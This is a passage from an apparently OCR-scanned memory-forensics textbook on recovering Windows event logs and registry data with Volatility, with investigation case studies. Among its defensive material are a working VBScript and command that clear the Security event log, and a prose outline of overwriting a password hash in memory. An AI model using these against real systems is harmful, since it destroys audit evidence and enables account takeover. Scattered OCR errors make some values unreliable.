Poison Ivy is spread across 20+ different VAD regions. In the article Reverse Engineering
Poison Ivy’s Injected Code Fragments (http://volatility-labs.blogspot.com/2012/10/
reverse-engineering-poison-ivys.html), we demonstrate how to build a custom plugin
for Volatility that reconstructs, as much as possible, the original binary from the fragments
and puts them back into context.
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WARNING

Poison Ivy’s fragmented code injection is a powerful anti-forensic technique. Designing
the pivydasm plugin was not easy and it took a considerable amount of time. To our
benefit, although the code was spread about many VAD regions, we could still follow
the code by disassembling within volshell. Resolving strings and API calls was also
possible, because we had access to the entire process’ memory space.

Summary

The skills described in this chapter will help analysts detect and analyze a majority of
malicious code in the wild. In particular, you learned to identify injected code, locate
suspicious DLLs, dump unpacked binaries, and mine the process environment block for
artifacts. As far back as we can remember, malware and rootkits have used techniques
to hide from administrative and security tools on running systems; and now you under-
stand how they work. Furthermore, you've seen examples of memory forensics applied to
cases involving large malware campaigns (such as Zeus and Coreflood) as well as highly
targeted attack tools like Stuxnet.






vent logs contain a wealth of forensic information and are a staple in almost any type
of investigation. They contain details about application errors (such as when Word
crashes after a heap-spray exploit), interactive and remote logins, changes in the firewall
policy, and other events that have occurred on the system. Combined with the timestamps
that are supplied with each event, the logs can help you determine exactly what happened
on a system, or at least give you a timeframe on which to focus the rest of your efforts.
This chapter covers how to locate event logs in RAM and parse them for forensic pur-
poses. Many of the log files are mapped into memory during the run time of the system,
so it is typical to find hundreds, if not thousands, of individual records in memory dumps.
In some cases, you may even be able to extract entries after they are marked for deletion
by an administrator or maliciously cleared by an attacker.

Event Logs in Memory

Because event records are recorded throughout the run time of a system, it makes sense
that you will find these records, or even the event logs files, in memory. To find records
or event logs, you first need to know their structure—what they look like and where to
find them in a consistent manner—because methodologies vary greatly depending on
the target operating system.

Analysis Objectives
Your objectives are these:
Locate event logs in memory: Starting with Vista, Microsoft made several critical

changes to the event log facility. To work with event logs across various versions
of Windows, you need to understand and account for the differences.
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Process event logs: Learn when to simply parse records from memory with
Volatility and when to extract the log files for analysis with external tools.
Detect brute force logins: Learn how to identify brute force logon attempts by
analyzing failure messages in the event logs.

Identify backdoors: Detect changes to the firewall policy and server port conflicts,
which can often indicate backdoor activity.

Identify cleared event logs: Learn what happens when event logs are cleared and
how to determine whether malicious code or attackers have attempted to clear
the logs.

Data Structures

The output that follows shows select members of the Windows XP and 2003 event log
structures. Harlan Carvey also documented the event log structures on his blog (http://
windowsir.blogspot.com/2007/06/eventlog—analysis.html).EVTLogHeaderiSthEEﬁruc-
ture used as the event log file header, whereas EvTRecordstruct is for individual records.

>>> dt ("EVTLogHeader")
'EVTLogHeader' (48 bytes)

0x0 : HeaderSize ['unsigned int']
0x4 : Magic ["int']
0x10 : OffsetOldest ['unsigned int']
0x14 : OffsetNextToWrite ['unsigned int']
0x18 : NextID ["int']
O0xlc : OldestID ["int']
0x20 : MaxSize ['unsigned int']
0x28 : RetentionTime ['int']
0x2c : RecordSize ['unsigned int']

>>> dt ("EVTRecordStruct")
'EVTRecordStruct' (56 bytes)

0x0 : RecordLength ['unsigned int']
0x4 : Magic ['int']
0x8 : RecordNumber ['int']
0xc  : TimeGenerated ['UnixTimeStamp', {'is utc': True}]
0x10 : TimeWritten ['UnixTimeStamp', {'is utc': True}]
0x14 : EventID ['unsigned short']
0x18 : EventType ['Enumeration', [snip]
O0xla : NumStrings ['unsigned short']
[snip]
Key Points

The key points are the following;:

oldestID: The ID of the oldest event log record in the file.
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Magic: The signature of an event log and its records. This signature is LfLe.
NextID: The ID of the next event log record that will be written.

RecordLength: The length of the event log record, which can vary, depending on
the record, because the message strings are different for each type of message.
RecordNumber: The ID of the record within the event log.

TimeGenerated: The timestamp showing when the event was generated (UTC).
TimeWritten: The timestamp showing when the event record was written (UTC).
EventID: The ID that describes what type of event has occurred.

NumStrings: The number of messages included with the record that help describe
the event. You may need the corresponding message template to properly interpret
the meaning of the strings. For more information on how to find the templates,
see the note at the end of the “Windows 2000, XP, and 2003 Event Logs” section
later in the chapter.

Windows 2000, XP, and 2003 Event Logs

In Windows 2000, XP, and 2003, the event logs have the same binary record format. The
default logs are Application, System, and Security, and the default storage location on disk
for these logs is in $systemroot%\system32\config. These event logs are also mapped in
the address space of the services.exe process.

Finding Event Log Files

You can figure out exactly which memory segment holds the file data by finding the ser-
vices.exe process and searching for the event log file name (extension .Evt), as shown
in the following output.

$ python vol.py -f XPSP3.vmem --profile=WinXPSP3x86 pslist | grep services
Volatility Foundation Volatility Framework 2.4
0x81d97020 services.exe 692 648 16 352 0 0 2010-12-27 21:34:32

$ python vol.py -f XPSP3.vmem --profile=WinXPSP3x86 vadinfo -p 692

[snip]

VAD node @ 0x8230af40 Start 0x009c0000 End 0x009cffff Tag Vad

Flags: Protection: 4

Protection: PAGE READWRITE

ControlArea @82040f50 Segment el6ad7d8

Dereference list: Flink 00000000, Blink 00000000

NumberOfSectionReferences: 1 NumberOfPfnReferences: 1
NumberOfMappedViews: 1 NumberOfUserReferences: 2
WaitingForDeletion Event: 00000000

Control Flags: Accessed: 1, File: 1, HadUserReference: 1

FileObject @82040ed8, Name: \WINDOWS\system32\config\SecEvent.Evt

[snip]
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You now know how to find event logs in memory, but what do you do next? You could
dump the VAD sections and parse them with a tool external to Volatility, but you might
as well just parse the event logs directly from memory.

NOTE

Windows XP /2003 event logs have a maximum size and are treated as a ring buffer.
This means that as the maximum size is reached, the pointer to write to the log wraps
around to the oldest record and overwrites it with new data. This methodology can
break several tools because partial records can corrupt what a tool expects to see—not
to mention the fact that several chunks of the log file may be unavailable due to paging.

Extracting Event Logs

The evtlogs plugin (Windows XP and 2003 only) finds and parses the event log records
for you automatically. It is also designed to handle corrupt event logs with missing or
overwritten data. This plugin works by first finding the services.exe process and then
searching its memory for event logs. It then breaks each log up based on its magic (LfLe)
and parses each record using the structures defined at the beginning of this chapter. The
evtlogs plugin also has an option to dump the raw log if you want to process it using
tools external to Volatility. The following shows you example output from running the
plugin against a public memory sample (http ://sempersecurus.blogspot.com/2011/04/
using-volatility-to-study-cve-2011-6011.html) acquired after accessing a Word docu-
ment with an embedded Flash exploit:
$ python vol.py -f cve2011l 061l.dmp --profile=WinXPSP3x86 evtlogs -v
--save-evt -D output/

Volatility Foundation Volatility Framework 2.4

Saved raw .evt file to osession.evt

Parsed data sent to
Saved raw .evt file
Parsed data sent to
Saved raw .evt file
Parsed data sent to
Saved raw .evt file
Parsed data sent to
Saved raw .evt file
Parsed data sent to
Saved raw .evt file

Parsed data sent to

osession.txt

to internet.evt
internet.txt

to appevent.evt
appevent.txt

to odiag.evt
odiag.txt

to sysevent.evt
sysevent.txt

to secevent.evt
secevent.txt
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Because this example uses the - -save-evt option, the plugin created an . evt file (raw
binary event log) and a . txt file (parsed records in text format) for each log file. The output
of the parsed text file is in the following format:

Date/Time | Log Name | Computer Name | SID | Source | Event ID | Event Type
| Message Strings

Knowing this, you can examine the output from the osession.evt log.
$ cat osession.txt
2011-04-10 09:14:22 UTC+0000|osession.evt |FINANCEL |N/A|

Microsoft Office 12 Sessions|7000]|Info|

0;Microsoft Office Word;12.0.4518.1014;12.0.4518.1014;1368;0

2011-04-10 09:33:40 UTC+0000|osession.evt|FINANCEL|N/A|
Microsoft Office 12 Sessions|7000|Info|
0;Microsoft Office Word;12.0.6425.1000;12.0.6425.1000;1086;60

[snip]

2011-04-10 22:29:44 UTC+0000|osession.evt|FINANCEL|N/A|
Microsoft Office 12 Sessions|7000|Info|
0;Microsoft Office Word;12.0.6545.5000;12.0.6425.1000;80;60

2011-04-10 22:30:18 UTC+0000 |osession.evt|FINANCEL |N/A|
Microsoft Office 12 Sessions|7003|Warning|
0;Microsoft Office Word;12.0.6545.5000;12.0.6425.1000

[snip]

Notice that there is a record of level warning with ID 7003, which means that the
Microsoft Office application terminated unexpectedly. This information is relevant to the
investigation because the infection vector was the embedded Flash exploit. In Chapter 18,
you learn how to produce timelines and see how this event combined with other events
paints a clear picture of the attack.

Logging Policies

By default, the Security event log is turned off in Windows XP. Thus, you should check
the audit settings in the registry (HKLM\SECURITY\Policy\PolAdtEv) to verify what types
of events to expect. The following command shows how to perform the check by using
the auditpol plugin (s means “successful operations are logged,” and rF means “failed
operations are logged”):

$ python vol.py -f XPSP3x86.vmem auditpol --profile=WinXPSP3x86

Volatility Foundation Volatility Framework 2.4

Auditing is Enabled

Audit System Events: S/F
Audit Logon Events: S/F
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Audit Object Access: Not Logged
Audit Privilege Use: Not Logged
Audit Process Tracking: Not Logged
Audit Policy Change: S

Audit Account Management: S/F
Audit Dir Service Access: S/F
Audit Account Logon Events: S/F

NOTE

Good references for looking up event log IDs and message strings are these:
http://go.microsoft.com/fwlink/events.asp

http://www.eventid.net/

http://blogs.msdn.com/b/ericfitz/

http://www.ultimatewindowssecurity.com/securitylog/encyclopedia/Default.aspx

Windows Vista, 2008, and 7 Event Logs

Windows Vista, 2008, and 7 event logs (which we’ll call “Evtx,” based on their exten-
sion) are stored in a completely different file format than those described in the previous
section. In particular, these logs are contained in an XML binary format. On a typical
machine, you can find more than 60 of these logs on the disk at $systemroot%\system32\
winevt\Logs. Such a high number of logs increases the opportunities for finding records
of interest on a compromised machine. Also, the description strings are contained within
these event logs (unlike the XP/2003 logs), which makes them easier to investigate without
having access to the target machine’s disk.

NOTE

To find the equivalent security IDs for Windows Vista, 2008, and 7 machines, add
4096 to the ID used for Windows XP/2003. For example, to find events that are
related to someone logging on to a Windows 7 machine, the ID of interest would be
4624 instead of 528. For more information, see http://blogs.msdn.com/b/ericfitz/

archive/2007/04/18/vista-security-events-get-noticed.aspx.

The newer event logs are not mapped in memory the same way as the old. Therefore,
the methodology for dealing with these logs is completely different—you must extract
the logs from memory using the dumpfiles plugin (see Chapter 16) and then parse them
with a tool external to Volatility. You can choose either a targeted methodology (finding
and dumping the event log of choice) or you can choose to dump all event logs by mak-
ing use of the dumpfiles plugin’s pattern matching (regular expression) capabilities. Your
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approach depends on what you are looking for and how much context you are given
before your investigation. For example, if you are trying to prove that someone logged
on to a machine, you might only examine the Security event log. However, if you are not
sure what the underlying problem is with a machine, you might dump all event logs.

NOTE
Some tools that we’ve used in the past for parsing Evtx event logs include these:

Evtxparser: http://computer.forensikblog.de/en/2011/11/evtx-parser-1-1-1
.html

EVTXtract: https://github.com/williballenthin/EVTXtract

Python-evtx: http://www.williballenthin.com/evtx/index.html

Libevtx: http://code.google.com/p/libevtx/

The Evrxtract projectis especially useful, because it will attempt to use known message
templates in order to reconstruct corrupt or missing ones. In other words, the tool’s
author made an effort to gracefully handle files dumped from memory with missing
data due to paging.

To dump all Evtx files out from a memory sample, you can use the following command:

$ python vol.py -f Win7SP1x86.vmem --profile=Win7SP1x86 dumpfiles
--regex .evtx$ --ignore-case
--dump-dir output
Volatility Foundation Volatility Framework 2.4
DataSectionObject 0x8509eba8 756 \Device\HarddiskVolumel\Windows\System32\
winevt\Logs\Microsoft-Windows-Diagnostics-Performance%40perational.evtx
SharedCacheMap 0x8509eba8 756 \Device\HarddiskVolumel\Windows\System32\
winevt\Logs\Microsoft-Windows-Diagnostics-Performance%40perational.evtx

DataSectionObject 0x83eaec48 756 \Device\HarddiskVolumel\Windows\System32\
winevt\Logs\Microsoft-Windows-Kernel-WHEA%4Errors.evtx
SharedCacheMap 0x83eaec48 756 \Device\HarddiskVolumel\Windows\System32\

winevt\Logs\Microsoft-Windows-Kernel -WHEA%4Errors.evtx
DataSectionObject 0x845bcab0 756
[snip]

All extracted files will be in your output directory. You can then use the Linux file
utility to verify that the logs were dumped:

$ file output/*

output/file.756.0x83£92518.vacbh: data

output/file.756.0x83f95eal.vacb: data

output/file.756.0x8404b008.vacb: MS Windows Vista Event Log, 2 chunks
(no. 1 in use), next record no. 82

output/file.756.0x8408fa60.vach: data

output/file.756.0x84090418.dat: MS Windows Vista Event Log, 1 chunks
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(no. 0 in use), next record no. 5
output/file.756.0x840a2e38.vacb: MS Windows Vista Event Log, 1 chunks
(no. 0 in use), next record no. 2
[snip]

Some extracted files may say data instead of Ms windows Event Vista Event Log
because either the header for the log or the log itself was swapped out of memory at the
time of acquisition. In either case, you should investigate these files to see if you can
find partial records. The following shows how to investigate one of these logs with the
evtxdump.pl1Hjhtyfr0nlEvtxparseﬁ

$ evtxdump.pl output/file.756.0x8404b008.vacb

<?xml version="1.0" encoding="utf-8" standalone="yes" ?>

<Events>

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">

<System>

<Provider Name="Microsoft-Windows-Application-Experience"

Guid="{EEF54E71-0661-422D-9A98-82FD4940B820}" />

<EventID>900</EventID>

<Version>0</Version>

<Level>4</Level>

<Task>0</Task>

<Opcode>0</Opcode>

<Keywords>0x0800000000000000</Keywords>

<TimeCreated SystemTime="1341520633" />

<EventRecordID>1</EventRecordID>

<Correlation />

<Execution ProcessID="3336" ThreadID="3580" />

[snip]

As you can see, the output contains all the information about the events that were
generated. In particular, you can see the following fields:

Provider Name: Tells you from which log this information was extracted.

Event ID: Contains the event ID that you would look up online to figure out what
event transpired.

TimeCreated: A timestamp for when the event was generated.

EventRecordID: The ID of the record, which helps you figure out the ordering of
the generated records.

Caveats About Event Logs in Memory

As previously mentioned, even though event records are found in memory, the entire log
file will not be available in most cases. This means that you can theoretically have records
that are relevant to your case in the event log on disk, but not in memory. As with most
artifacts in memory, event log records have a higher chance of retention if they were
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recently created or accessed. This is good news if you obtain memory close to the time

of compromise, but bad news otherwise.

Additionally, adversaries can clear event logs on a machine using the clearEventLog

function. This function takes a handle to an event log and a backup location as parameters.

If a backup location is not given (i.e,, it is NULL), the log is simply cleared from disk and

memory. The function definition obtained from MSDN (http ://msdn.microsoft.com/en-us/

library/windows/desktop/aa363637%28v:vs.85%29.aspx)iSShovvninthefoﬂovvhqgcode

BOOL ClearEventLog (

_In_ HANDLE hEventLog,

_In_ LPCTSTR lpBackupFileName
)i

NOTE

Here is an example of Visual Basic script (the original source is http://technet
.microsoft.com/library/eel76696.aspx) that we modified to clear the Security log.
The lines that begin with an apostrophe are comments in Visual Basic:

strComputer = "."
' Get proper permissions to access the logs and back them up
Set objWMIService = GetObject ("winmgmts:"
& "{impersonationLevel=impersonate, (Security) }!\\" & _
strComputer & "\root\cimv2")
' Find the event log we want to wipe and obtain its handle
! In this case you want to wipe the Security event log.
Set colLogFiles = objWMIService.ExecQuery _
("Select * from Win32 NTEventLogFile " _
& "Where LogFileName='Security'")
' Since we don't set BackupEventLog() we lose the
' log when it's wiped below
' For each log that was collected above (in this case just Security)
For Each objLogfile in colLogFiles
' Wipe the log
objLogFile.ClearEventLog ()
' Print a statement that it has been wiped.
WScript.Echo "Cleared event log file"
Next

If you place the previous code into a file named clearevt.vbs, you could run it

like so:
C:\> cscript clearevt.vbs

Microsoft (R) Windows Script Host Version 5.7
Copyright (C) Microsoft Corporation. All rights reserved.

Cleared event log file
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Because you have to individually specify each log that you want to erase, attackers
sometimes forget to erase logs of interest, as you will see in one of the case examples at the
end of this chapter. However, solutions exist to erase all logs (see http://blogs.msdn. com/
b/jjameson/archive/2011/03/O1/script—to—clear—and—save—event—logs.aspx).Chlthe
other hand, this action makes it really obvious that something is wrong if suddenly all logs
are empty or if someone notices that there’s an extra spike in the machine’s activity while
deleting these logs. Most attackers we’ve encountered don’t typically delete all event logs.

Just because event logs are cleared does not mean that you should despair. If the
Security log is empty or sparse, and you know that events should be logged because
you used the auditpol plugin, that in itself is an indication that the event logs have been
wiped. If you have a forensic disk image from the suspect machine, you may be able to
retrieve useful event log records from restore points, volume shadow copies, or even from
unallocated space.

If you do not have a disk image, then you can scan the physical address space of
the memory dump for records using either the LfLre (Evt) or E1£chnk (Evtx) signatures,
and you might be lucky enough to recover historical records. Willi Ballenthin wrote
tools that you can use outside of Volatility for both cases; they are appropriately called
LfLe (https://github.com/williballenthin/LfLe) and EVTXtract (https://github.com/
williballenthin/EVTXtract).

NOTE

Clearing an event log actually creates new artifacts as well. For example, a new event
(ID 517) will be added to the Security log to indicate that the Security log was cleared.
This is useful because it also contains a timestamp of when the log was cleared:

2013-12-05 00:07:10 UTC+0000|secevent.evt |COMPUTER-NAME |S-1-5-18 (Local System)
|Security|517|Success|SYSTEM;NT AUTHORITY; (0x0,0x3E7) ;
Administrator;DOMAIN; (0x0,0x11544)

The following is the reconstructed message:

The audit log was cleared

Primary User Name: SYSTEM
Primary Domain: NT AUTHORITY
Primary Logon ID: (0x0,0x3E7)
Client User Name: Administrator
Client Domain: DOMAIN

Client Logon ID: (0x0,0x11544)
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Real Case Examples

Event logs pulled from memory have often proved fruitful in our investigations. For the
examples in this section, some information, such as IP addresses and dates, has been
redacted to protect the identity of the victims.

The Case of the Unsuccessful Listener

Attackers often like to install backdoors on compromised machines. This helps them
easily connect to the machine at their leisure. The following output is from the evtlogs
plugin on a suspect machine’s Security event log that shows failed attempts of applica-
tions trying to set up listening ports (event ID 861):

XXXX-XX-XX 23:18:46 UTC+0000|secevent.evt |XXXX]|
S-1-5-21-1417001333-1647877149-682003330-500 (Administrator) |Security|
861|Failure|wauclt;C:\WINDOWS\system32\wauclt.exe;1900;Administrator;
XXXX;No;No;IPv4;TCP;9999;No;No

XXXX-XX-XX 23:36:36 UTC+0000|secevent.evt |XXXX|
S-1-5-21-1417001333-1647877149-682003330-500 (Administrator) |Security|
861|Failure|wauclt;C:\WINDOWS\system32\wauclt.exe;2312;Administrator;
XXXX;No;No;IPv4;TCP;9999;No;No

In this case, these events are suspicious because the executable (wauclt.exe) does not
actually exist on a Windows machine by default. Its name has been chosen so that it looks
like a legitimate process, wuauclt.exe, which is for Windows updates (notice the miss-
ing u). Also, if the application in question is something like notepad.exe (which should
not be opening ports at all), the logs may indicate code injection. You can construct the
entire message string by finding the message template online (http://www.eventid.net/

display.asp?eventid:S61&eventno:4615&source:Security&phase:l)

Name: wauclt.exe

Path: C:\WINDOWS\system32\wauclt.exe
Process identifier: 2312
User account: Administrator
User domain: XXXX (redacted)
Service: No

RPC server: No

IP version: IPv4

IP protocol: TDP

Port number: 9999

Allowed: No

User notified: No.
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The Case of the Unsuccessful Logon

As you've learned, logon and logoff events are collected in the Security event log. In
the following example, from a compromised Windows 2003 server, you see two 529
(failed logon attempt) event IDs and an event ID of 680. Event ID 680 varies depending
on the machine’s operating system, but tracks successful and failed NTLM logons for
Windows 2003 machines.

XXXX-XX-XX 15:19:20 UTC+0000|secevent.evt|XX|S-1-5-18 (Local System) |Security
222.186.XX.XX;3054

XXXX-XX-XX 15:19:20 UTC+0000 |secevent.evt|XX|S-1-5-18 (Local System) |Security
| 680 |Failure |[MICROSOFT_AUTHENTICATION PACKAGE V1 _0;
administrator;ZZZZZ; 0xC000006A

XXXX-XX-XX 15:19:20 UTC+0000 |secevent.evt|XX|S-1-5-18 (Local System) |Security

222.186.XX.XX;3061

If you look up the message template for event ID 529 (several links are cited earlier in
the chapter), you gain more context regarding this event. The complete message string
that shows in the event log viewer would be the following text:

Logon Failure

Reason: Unknown user name or bad password
User Name: administrator

Domain: ZZZZZ (redacted)

Logon Type: 3

Logon Process: NtLmSsp

Authentication Package: NTLM

Workstation Name: ZZZZZ (redacted)

Caller User Name:-

Caller Domain: -

Caller Logon ID:-

Caller Process ID:-

Transited Services:-

Source Network Address: 222.186.XX.XX (redacted)
Source Port: 3061

You can see that someone tried to log on as administrator over the network (Logon
Type: 3), and the remote IP address was from China (222.186.xx.xx). Because the vic-
tim machine is located in the United States, and the owning company has no personnel
located in China, it is safe to say that this is not a valid logon attempt. If you examine the
other event record with ID 680 in the same manner, you will gain more context into why
this logon was unsuccessful:

Logon attempt by: MICROSOFT_ AUTHENTICATION PACKAGE V1 0
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Logon account: administrator
Source Workstation: ZZZZzZZ (redacted)
Error Code: 0xC000006A

The error codes for this event are well documented (http: //www.ult imatewindowssecurity
.com/securitylog/encyclopedia/event.aspx?eventid=680).YbllcarlseethatOxCOOOOO6A
means that the attacker used a valid username on the system, but an incorrect password.
This type of event shows one of three things:

The account is a default account for the machine
The attacker has done some previous reconnaissance of the system
The attacker is engaged in a brute force attempt to guess credentials on the system

In this example, administrator is a default account. However, if the account name
had been something else like gstanley, and you only find a few failed attempts (that is,
not a brute force attack), you would know for sure that the attacker(s) have done their
homework.

The Case of the Impatient Brute Forcer

Attackers often don't have valid credentials to a machine when they first encounter it.
In those cases, as we just described, they might try to guess their way into it by using
an application that tries multiple username and password combinations. These attempts
also manifest in event logs and can show both that the machine was targeted as well as
whether the attacker was successful in gaining access. In the code that follows, you can
see event log data that illustrates this type of attack on a Windows 2003 machine:
XXXX-XX-XX 14:49:07 UTC+0000|secevent.evt|XX|S-1-5-18 (Local System) |Security]|

680 |Failure |MICROSOFT AUTHENTICATION PACKAGE V1 0;administrator;
DDDDDD ; 0xC000006A

XXXX-XX-XX 14:49:07 UTC+0000|secevent.evt|XX|S-1-5-18 (Local System) |Security]
529|Fai1ure|administrator;DDDDDD;3;NthSsp ;NTLM;

XXXX-XX-XX 14:49:08 UTC+0000 |secevent.evt|XX|S-1-5-18 (Local System) |Security]
529 |Failure|administrator;DDDDDD;3;NtLmSsp ;NTLM;

XXXX-XX-XX 14:49:08 UTC+0000|secevent.evt|XX|S-1-5-18 (Local System) |Security]|
680 | Failure |MICROSOFT AUTHENTICATION PACKAGE V1 0;administrator;
DDDDDD; 0xC000006A

[snip]
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Notice that the logon failures are in quick succession of each other—in this case, two
attempts per second. In total, more than 600 such records occurred, all within a short
span of time. The IP address (redacted) was also determined to have no reason to connect
to the target machine.

You can also find evidence of brute force attempts in the system event log. For example,
the following output shows an attack against a system running Microsoft’s FTP service.

XXXX-XX-XX 13:34:38 UTC+0000|sysevent.evt |XXXX|N/A|MSFTPSVC|100|Warning]|
REDACTED USERNAME;Logon failure: unknown user name or bad password.

XXXX-XX-XX 13:34:38 UTC+0000|sysevent.evt |XXXX|N/A|MSFTPSVC|100|Warning]|
REDACTED USERNAME;Logon failure: unknown user name or bad password.

XXXX-XX-XX 13:34:39 UTC+0000|sysevent.evt |XXXX|N/A|MSFTPSVC|100|Warning]|
REDACTED USERNAME;Logon failure: unknown user name or bad password.

XXXX-XX-XX 13:34:39 UTC+0000|sysevent.evt |XXXX|N/A|MSFTPSVC|100|Warning]|
REDACTED USERNAME;Logon failure: unknown user name or bad password.
[snip]

Again, you see six logon attempts per second using the redacted username. Here’s an
example of the reconstructed message:

Event Type: Warning

Event Source: MSFTPSVC

Event Category: None
Event ID: 100

Date: X/X/XXXX

Time: 1:34:39 PM

User: N/A

Computer: XXXX

Description:

The server was unable to logon the Windows NT account 'ZZZZ' due to the
following error: Logon failure: unknown user name or bad password.

The Case of the Log Wiper

As previously mentioned, attackers often try to clear event logs to cover their tracks on
a machine. We had one case in which an attacker logged on to a machine using stolen
credentials and started a job on another machine using a different set of stolen creden-
tials. Our objective was to track down both accounts that were compromised in order to
deactivate them. The attacker was smart enough to wipe the Security event log as well as
a few others that would have helped. Furthermore, we didn’t have the hard disk in order
to search unallocated space for the missing records. Fortunately, the attacker didn't real-
ize that there was another event log (Microsoft-Windows-TaskScheduler.evtx) containing
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the information we needed. This log happened to be memory-resident and had a record
that pointed us directly to the account we needed to disable:

<TimeCreated SystemTime="XXXX-XX-XXT02:09:45.41192Z"/>
<EventRecordID>320320</EventRecordID>

<Correlation/>

<Execution ProcessID="1120" ThreadID="8364" />
<Channels>Microsoft-Windows-TaskScheduler/Operational</Channel>
<Computer> [REDACTED] </Computer>

<Security UserID="S-1-5-18" /></System>

<EventData Name="TaskUpdated">

<Data Name="TaskName">\At2</Data>

<Data Name="UserName">DOMAIN\ [REDACTED] </Data></EventData></Event>
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>

Summary

During an investigation, Window’s event log records often play a critical role in recon-
structing the events of an incident. They can provide valuable insight into the history of
what happened and when it happened. While investigators have typically focused on
records they find on disk, volatile memory provides another valuable source for these
artifacts. Understanding how to extract and analyze those memory-resident records across
different versions of Windows provides a powerful capability for digital investigators.
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1 o Registry in Memory

I he registry contains various settings and configurations for the Windows operating

system, applications, and users on a computer. As a core component of a Windows

machine, it is accessed constantly during run time. Thus, it makes sense that the system

caches all or part of the registry files in memory. Furthermore, the Windows registry

holds a wealth of information useful for forensic purposes. For example, you can use it to

determine what programs recently ran, extract password hashes for auditing purposes,

or investigate keys and values that malicious code introduced into the system.

In this chapter, you learn how to find and access registry files in memory by walk-

ing through examples of some of the aforementioned scenarios. Furthermore, you'll be

exposed to the difference between stable and volatile registry data, and how examining

hives in memory can open up a whole new realm of analysis that isn't possible with disk

forensics.

Windows Registry Analysis

The initial research on accessing registry files in memory was done by Brendan Dolan-Gavitt
in 2008. His paper Forensic Analysis of the Windows Registry in Memory (dfrws.org/2008/
proceedings/p26-dolan-gavitt .pdf) and his original code provided the pioneering research

upon which all of Volatility’s current registry capabilities are built.

Analysis Objectives

Your objectives are these:

® Locate registry files: Understand how Volatility locates registry files consistently

throughout memory dumps of various operating system versions.
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Parse registry data: Learn how to translate addresses to find keys, and how to print
their subkeys, values, and data.

Discover forensically relevant registry keys: Find and extract forensically relevant
registry keys, such as those malware uses to maintain persistence.

Learn about special registry keys: Userassist, Shimcache, and Shellbags are all reg-
istry keys that contain binary data that requires extra processing. You will learn the
structures for these keys as well as when and how to use them in an investigation.

Data Structures

The following output shows select structures from 32-bit Windows 7. The _cMaIVE struc-
ture represents a registry hive file on disk, and the _nuIvE (hive header) helps describe
the contents and current state of the hive.

>>> dt ("_CMHIVE")
' _CMHIVE' (1584 bytes)

0x0 : Hive [' _HHIVE']

0x2ec FileHandles [tarray', 6, ['pointer', ['void']]]
0x304 : NotifyList ['_LIST ENTRY']

0x30c : HiveList ['_LIST ENTRY']

0x314 : PreloadedHiveList ['_LIST ENTRY']

0x31c : HiveRundown ['_EX_RUNDOWN_REF']

0x320 ParseCacheEntries ['_LIST_ENTRY']

0x328 KcbCacheTable ['pointer', ['_CM _KEY HASH TABLE_ ENTRY']]
[snip]

0x3a0 FileFullPath ['_UNICODE_ STRING']

0x3a8 : FileUserName ['_UNICODE_STRING']

0x3b0 : HiveRootPath [' UNICODE STRING']

[snip]

>>> dt ("_HHIVE")
' _HHIVE' (748 bytes)

0x0 : Signature ['unsigned long']

0x4 : GetCellRoutine ['pointer', ['void']]
0x8 : ReleaseCellRoutine ['pointer', ['void']]
0xc : Allocate ['pointer', ['void']]
0x10 : Free ['pointer', ['void']]
0x14 : FileSetSize ['pointer', ['void']]
0x18 : FileWrite ['pointer', ['void']]
0xlc : FileRead ['pointer', ['void']]
0x20 : FileFlush ['pointer', ['void']]
0x24 : HiveLoadFailure ['pointer', ['void']]
0x28 : BaseBlock ['pointer', ['_ HBASE BLOCK']]
[snip]

0x58 : Storage [tarray', 2, ['_DUAL']]
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Key Points
The key points are these:

nive: The registry hive header that contains a signature as well as a structure used
for address translation.

HiveList: A doubly linked list to other _cMuIVE structures.

FileFullPath: The kernel device path (for example, \Device\HarddiskVolumel\
WINDOWS\system32\config\software) to the registry hive. This member is not
used in Windows 7, although it is still present in the structure (see http://gleeda
.blogspot.com/2011/04/windows-registry-paths. html).

FileUserName: The path to the registry hive on disk, prefaced with systemroot
or \?2\c:\ (except the BcD registry, which uses the kernel device path, and the
HARDWARE registry, which uses the “Registry” path as described for the HiveRootPath
member). Some hives do not use this member in Windows Vista/2008 and 7.
HiveRootPath: Introduced in Windows Vista, this member contains the “Registry”
path (for example, \REGISTRY\MACHINE\ SOFTWARE).

signature: The signature of the registry file. Valid registry files have a signature
of oxbeeobeeo.

BaseBlock: Used to find the root key (first key) of the registry.

storage: The mapping of the virtual address spaces for keys within the registry.

Data in the Registry

To see how much information could be obtained from the registry in memory on a run-
ning system, Brendan Dolan-Gavitt conducted experiments on 32-bit XP machines in
various states. He concluded that 98% of hive data is recoverable on lightly used systems,
and about 50% of hive data is recoverable on heavily used systems. As with most artifacts
in memory, the “use-it-or-lose-it” strategy is in effect. Thus, keys and data not accessed
frequently (or recently) can be, and often are, swapped to disk. This is important to keep
in mind when you analyze the registry in memory dumps. For example, the presence of a
key in memory is evidence that the key existed on the machine at the time of acquisition.
However, the absence of a key does not necessarily mean that the key didn’t exist—it could
just be missing due to paging or it might not have been read into memory in the first place.

From a forensic standpoint, you can find a plethora of information in the registry. The
following list summarizes a few of the possibilities:

Auto-start programs: Identify applications that run automatically when the system
starts up or a user logs in.
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Hardware: Enumerate the external media devices that were connected to the
system.

User account information: Audit user passwords, accounts, most recently used
(MRU) items, and user preferences.

Recently run programs: Determine what applications executed recently (using
data from the Userassist, Shimcache, and MUICache keys).

System information: Determine system settings, installed software, and security
patches that have been applied.

Malware configurations: Extract data related to malware command and control
sites, paths to infected files on disk, and encryption keys (anything malicious code
writes to the registry).

Stable and Volatile Data

In addition to the aforementioned items commonly used in disk forensics, some volatile
registry keys and hives are found only in memory. Jamie Levy did research for her talk,
Time is on My Side (http ://gleeda.blogspot.com/2011/08/volatility-20-and-omfw. html),
which showed that quite a bit of information is stored only in memory. For example, you
can find data on volumes, devices, and settings. In just the sysTem hive and one user’s
NTUSER.DAT hive, we counted more than 400 volatile keys.

A close relationship exists between the stable keys found in the registry on disk and
those in memory. As a machine runs, new keys are created, and others change. It makes
sense that these modifications are saved back to disk at some point. It was shown by
Russinovich in Microsoft Windows Internals, 6th Edition, that data is flushed back to the disk
every five seconds if Windows APIs (for example, RegCreateKeyEx, RegSetValueEx) are
used. Brendan showed in his paper that if the registry is manipulated directly in memory
without using the Windows APIs, however, the changes do not get flushed back to disk
at all. During his research, he demonstrated this by performing the following steps:

Find the administrator password hash in memory.

Modify memory directly to change the value to a password hash for a known
password.

Log out of the system (so the LSA subsystem would notice the change and update).
Log back in with the new password.

Because the changes would never get flushed back to disk, you would not know that
this type of attack had occurred by just performing disk forensics. However, with a



Registry in Memory 285

